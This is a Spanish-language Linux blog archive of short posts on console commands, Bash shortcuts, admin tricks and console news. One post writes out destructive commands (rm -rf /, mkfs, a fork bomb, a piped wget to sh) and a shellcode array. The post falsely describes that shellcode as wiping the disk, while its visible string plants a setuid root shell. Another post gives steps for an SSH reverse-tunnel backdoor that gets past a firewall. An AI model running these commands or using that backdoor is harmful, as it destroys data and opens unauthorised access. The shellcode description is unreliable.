La consola que nació de una pataleta

microsoft-xbox

Cuando Microsoft decidió a finales de 2001 presentar una consola muchos se preguntaron qué había llevado a una compañía de software a introducirse en el mercado del hardware. Ahora podemos conocer un poco más del porqué de esa decisión gracias a las declaraciones de Joachim Kempin, antiguo vicepresidente de Windows Sales y que empezó a trabajar en Microsoft en 1983.

“La verdadera razón fue parar a Sony. Porque verás, Sony y Microsoft nunca han tenido una relación demasiado amistosa. Y no es porque Microsoft no quisiera que fuera así”, explica Kempin. Para ponernos en antecedentes Kempin explica que la relación entre ambas compañías siempre ha sido distante. A pesar de que Sony compraba licencias de Windows para incluirlas en sus ordenadores, el caso es que no eran lo que se dice amigos del alma. Microsoft por su parte quería acercarse más a la compañía japonesa porque veía una oportunidad muy interesante de colaboración en una empresa dedicada al negocio del entretenimiento. El problema surgió cuando Sony decidió lanzar una videoconsola y en ese momento la compañía que dirigía Bill Gates dijo “tenemos que derrotarles, así que hagamos nuestra propia consola”.

Esta decisión que supuestamente vino de la alta dirección de Microsoft acabó cuajando a pesar de que el propio Gates tenía dudas de que el ordenador del salón sufriera una metamorfosis tal que la alternativa resultante afectara negativamente al dominio que Microsoft ejercía en el mercado tradicional de PC.

El resto de los detalles de esta historia los puedes leer en IGN (vía Slashdot)

10 comandos Linux muy útiles

Esta es una lista de 10 comandos Linux muy útiles para todos aquellos que decidan iniciarse en el mundo Linux y la consola.

  1. Detener una aplicación utilizando el nombre de ésta:
    killall [nombre_programa]
  2. Mostrar el espacio en disco (el parámetro -h, --human-readable muestra la información del almacenamiento en un formato más legible):
    df –h
  3. Localizar los directorios de instalación de una aplicación determinada:
    whereis [nombre_aplicación]
  4. Montar un fichero .ISO:
    mount /ruta/al/fichero.iso /mnt/cdrom –oloop
  5. Capturar o grabar en video tu escritorio:
    ffmpeg -f x11grab -s wxga -r 25 -i :0.0 -sameq /tmp/out.mpg
  6. Encontrar el UUID de tus particiones:
    ls /dev/disk/by-uuid/ -alh
  7. Mostrar los 10 primeros procesos en ejecución ordenados por uso de memoria RAM:
    ps aux | sort -nrk 4 | head
  8. Crear una alarma sonora cuando una dirección IP esté disponible online:
    ping -i 60 -a Dirección_IP
  9. Ejecutar el último comando como root:
    sudo !!
  10. Crear un árbol de directorios con un solo comando:
    mkdir -p tmp/a/b/c

Bonus track: esta es una breve recopilación de otros comandos Linux curiosos que también pueden resultarnos útiles y que puedes encontrar en commandlinefu

  • Haz una copia de seguridad rápida de un fichero concreto
    cp nombre_fichero{,.bak}
  • Ejecutar un comando sin guardarlo en el historial de la consola (añade al principio de la línea uno o más espacios en blanco)
    [espacio_en_blanco]comando
  • Accede a la tabla de caracteres ASCII
    man ascii
  • Renombrar rápidamente la extensión de un fichero
    mv fichero.{antiguo,nuevo}

Consolas Linux, una realidad

Leo en LinuxDevices que está a punto de lanzarse una consola basada en Linux y desarrollada por la compañía estadounidense Envizions. Según se puede leer en la noticia, en la que se incluyen más detalles, al respecto, el 10 de abril será la fecha elegida para empezar a distribuir algunas unidades a sectores como desarrolladores de juegos y software así como vendedores.

La consola, denominada EVO Smart Console, incluye un procesador Athlon a 2.4GHz y una distribución Linux basada en Fedora.

La cuestión ahora es saber qué nivel de competitividad ofrece con respecto a la oferta actual de consolas. Y la clave para el éxito está en el número de juegos que se desarrollen que, por el momento, es escaso. Según se puede leer en la página de la consola actualmente se puede disfrutar de 4 juegos: Tremulous, Alien Arena, SuperTux y Battle for Wesnoth. Confiemos en que la aventura les salga bien.

Hacer backup de Delicious desde la consola

Hacía tiempo que no visitaba Lifehacker, principalmente porque su contenido no estaba especialmente dedicado a los usuarios de Linux. Pero tras consultar Delicious me he encontrado con uno de esos trucos a los que merece la pena dedicar unas líneas en mi humilde blog.

El meollo de la anotación es cómo hacer un backup de tus favoritos de Delicious utilizando la consola y va dirigido tanto a usuarios de Linux como de Mac.

En el caso de los usuarios de Linux podemos utilizar el programa wget incluyendo los siguientes parámetros en nuestra consola:

wget --no-check-certificate --user=username --password=password -Obackup.xml https://api.del.icio.us/v1/posts/all

Los campos --user=username --password=password los sustituiremos por nuestro nombre de usuario y contraseña de Delicious mientras que el parámetro -Obackup.xml lo cambiaremos por el nombre que queramos poner a nuestro archivo.

Estoy de acuerdo con los chicos de Lifehacker en que puede que se trate de uno de los métodos más geek para hacer backup de Delicious, pero al mismo tiempo resulta curioso y nunca viene mal aprender nuevos caminos.

Noticias relacionadas:
Delicious Bookmarks: listo para Firefox 3
El cambio de Delicious

7 peligrosos comandos de Linux

Consola de Linux

Este post, extraído de Tech Source from Bohol, nos advierte sobre 7 peligrosos comandos de Linux que pueden hacer estragos en nuestro ordenador.

Aunque el post está pensado para usuarios que se acercan por primera vez al mundo Linux no está de más refrescar la memoria a los que sabemos un poco más. Estos son los 7 peligrosos comandos de Linux:

  1. rm -rf /
    Este comando eliminará todos los archivos y directorios de nuestro directorio root sin pedir confirmación
  2. char esp[] __attribute__ ((section(".text"))) /* e.s.p
    release */
    = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
    "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
    "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
    "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
    "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
    "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
    "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
    "cp -p /bin/sh /tmp/.beyond; chmod 4755
    /tmp/.beyond;";

    Es la versión hexadecimal de rm -rf / que puede despistar y hacer estragos incluso a los usuarios avanzados
  3. mkfs.ext3 /dev/sda
    Con este comando se formateará de nuevo la unidad que incluyamos después de mkfs
  4. :(){:|:&};:
    Este comando ejecutará un gran número de procesos hasta que el sistema deje de funcionar lo que puede provocar también que los datos de nuestro equipo se corrompan. También se le conoce como bomba fork o forkbomb, en inglés.
  5. cualquier_comando > /dev/sda
    Con esta acción se empiezan a escribir datos en nuestra unidad de disco duro que originará una peŕdida de datos.
  6. wget http://cualquier_fuente_no_fiable -O- | sh
    Este comando puede hacer que estemos ejecutando código malicioso en nuestro equipo, así que la solución pasa por no descargar nunca archivos de fuentes no fiables y mucho menos ejecutarlos.
  7. mv /home/tudirectoriohome/* /dev/null
    El comando mv enviará todos los archivos de tu directorio home a un lugar que no existe, con lo que ya no podrás recuperar esos datos.

Por supuesto, si al leer este post queréis compartir algún comando más que consideréis peligros estaré encantando de añadirlo :)

Atajos de teclado para Bash

Los atajos de teclado son de lo mejorcito que ha inventado el ser humano ya que te permiten hacer las cosas en un menor tiempo. Y cuando utilizas la consola pues no está de más recordar algunos de ellos (que seguro que muchos ya conocéis). Esta es una breve recopilación que he encontrado en How-To-Geek.

  • Ctrl + A: Te dirige al principio de la línea en la que estás escribiendo.
  • Ctrl + E: Te dirige al final de la línea en la que estás escribiendo.
  • Ctrl + L: Borra el contenido de la consola, igual que si teclearas el comando clear.
  • Ctrl + U: Elimina la línea anterior a la posición del cursor (si estás al final de la línea eliminará esa línea
  • Ctrl + H: Lo mismo que la tecla backspace que borra el carácter anterior a la posición del cursor).
  • Ctrl + R: Te permite buscar en el historial comandos previamentes ejecutados (realmente útil).
  • Ctrl + C: Mata cualquier proceso que se esté ejecutando en esa sesión de consola.
  • Ctrl + D: Sales de la shell en la que te encuentres.
  • Ctrl + Z: Hace que cualquier comando que se esté ejecutando pase a un segundo plano. Para reestablecerlo debes usar el comando fg.
  • Ctrl + W: Borra la palabra anterior a la posición del cursor.
  • Ctrl + K: Elimina la línea posterior a la posición del cursor.
  • Ctrl + T: Cambia los dos caracteres anteriores a la posición del cursor.
  • Esc + T: Cambia las dos palabras anteriores a la posición del cursor.
  • Alt + F: Mueve el cursor 1 palabra hacia adelante en la línea en la que esté situado.
  • Alt + B: Mueve el cursor 1 palabra hacia atrás en la línea en la que esté situado.
  • Tab: Autocompleta los nombres de ficheros y carpetas.

Leído en How-to-Geek

10 trucos esenciales para administradores Linux

Ya hace unos cuantos días que leí el artículo Lazy Linux: 10 essential tricks for admins y me pareció realmente útil, tanto para los administradores de sistemas como para todos aquellos que gustan jugar con el terminal. Es posible que muchos de los que leais esto conozcaís los trucos pero habrá otros tantos que los desconozcan. Aquí os muestro solo algunos de los que más me han llamado la atención.

Cómo reestablecer la contraseña de root
A más de uno le ha podido pasar que no se acuerda de la contraseña de root y piensa que tiene que reinstalar el sistema de nuevo. Alto ahí, antes de cometer esa locura prueba lo siguiente:

  1. Arranca el sistema y entra en la pantalla de arranque (GRUB, por ejemplo)
  2. Elige el kernel con el que quieras arrancar y pulsa la letra E para editar la entrada de GRUB
  3. Selecciona la línea que empieza por la palabra kernel y pulsa nuevamente la letra E para editar los parámetros del kernel
  4. Añade 1 al final de la línea, pulsa Enter y posteriormente la letra B para arrancar tu sistema
  5. Lo que has hecho es arrancar en modo usuario único con lo que ahora podrás ejecutar el comando passwd para reestablecer la contraseña de root.

Crear una puerta trasera (backdoor) SSH
Pongamos por caso que necesitas acceso a una máquina que está protegida mediante un firewall. Puedes crear un pequeño agujero o puerta trasera para saltarte el firewall. Por supuesto, antes de proceder debes tener en cuenta que no estás haciendo nada ilegal y que no te vas a meter en ningún lío por ello ;-) Estos son los pasos:

  1. Lo primero que necesitarás es una máquina conectada a Internet que servirá de intermediaria y a la que llamaremos blackbox.example.com y en la que el usuario es thedude
  2. Posteriormente nos conectaremos desde nuestra máquina local (en la que debemos ser root) a la máquina intermediaria creando un túnel mediante la siguiente instrucción:
    ~# ssh -R 2222:localhost:22 thedude@blackbox.example.com
    Lo que hemos hecho es redireccionar todas las instrucciones que vayan por el puerto 2222 al puerto 22 (SSH) de nuestra máquina local
  3. Una vez que accedes a la máquina intermediaria necesitas mantenerte conectado. Para ello puedes escribir lo siguiente en la consola
    thedude@blackbox:~$ while [ 1 ]; do date; sleep 300; done
    y minimizar esa ventana
  4. Ahora necesitas conectarte desde la otra máquina (a la que llamaremos tech) a la máquina intermediaria como el usuario thedude (por supuesto necesitas saber la contraseña) de la siguiente manera:
    root@tech:~# ssh thedude@blackbox.example.com
  5. Una vez que esta máquina está conectada ya puedes hacer ssh a la máquina que está detrás del firewall mediante:
    thedude@blackbox:~$: ssh -p 2222 root@localhost (por supuesto necesitas conocer la contraseña de root)

Si queréis aprender más no dejéis de leer el post original (en inglés).

Noticias relacionadas:
7 consejos para usuarios Linux
root script

Descarga videos de YouTube en Ubuntu

Existe una pequeña utilidad para consola denominada youtube-dl, de apenas 15 KB, que facilitará el hecho de descargarse vídeos desde YouTube (por nostalgia o las razones que se quieran).

El programa se encuentra en los repositorios universe y su instalación es muy sencilla, al igaul que la manera de utilizarlo.

Para instalarlo simplemente teclea en consola
sudo apt-get install youtube-dl

En cuanto a la manera de usarlo se trata simplemente de escribir el nombre del programa seguido de la URL en la que está ubicado el video, de esta manera:

youtube-dl “http://www.youtube.com/watch?v=ejemplo”

y el programa guardará un archivo ejemplo.flv en tu ordenador.

Si escribís en consola youtube-dl -h os aparecerán las diferentes opciones de personalización del programa, como la manera de escribir usuario y contraseña de YouTube, imprescindible para descargaros vídeos protegidos bajo la etiqueta contenido para adultos.

Leído en Ubuntu Geek

Noticias relacionadas:
LastTube: vídeos musicales a la carta
Buscar en YouTube desde Konqueror

Google en modo consola

GooSH

Mira que he visto cosas raras, pero como decía mi antiguo compi de fatigas yokiyoki, raros somos todos. Leyendo Ubuntu Unleashed me encuentro con GooSH, una web que te permite buscar en Google como si estuvieras ejecutando comandos desde la consola.

La web ha sido escrita por Stephan Gothkopp y como él mismo dice, no tiene nada que ver con Google.

Proudly powered by WordPress
Theme: Esquire by Matthew Buchanan.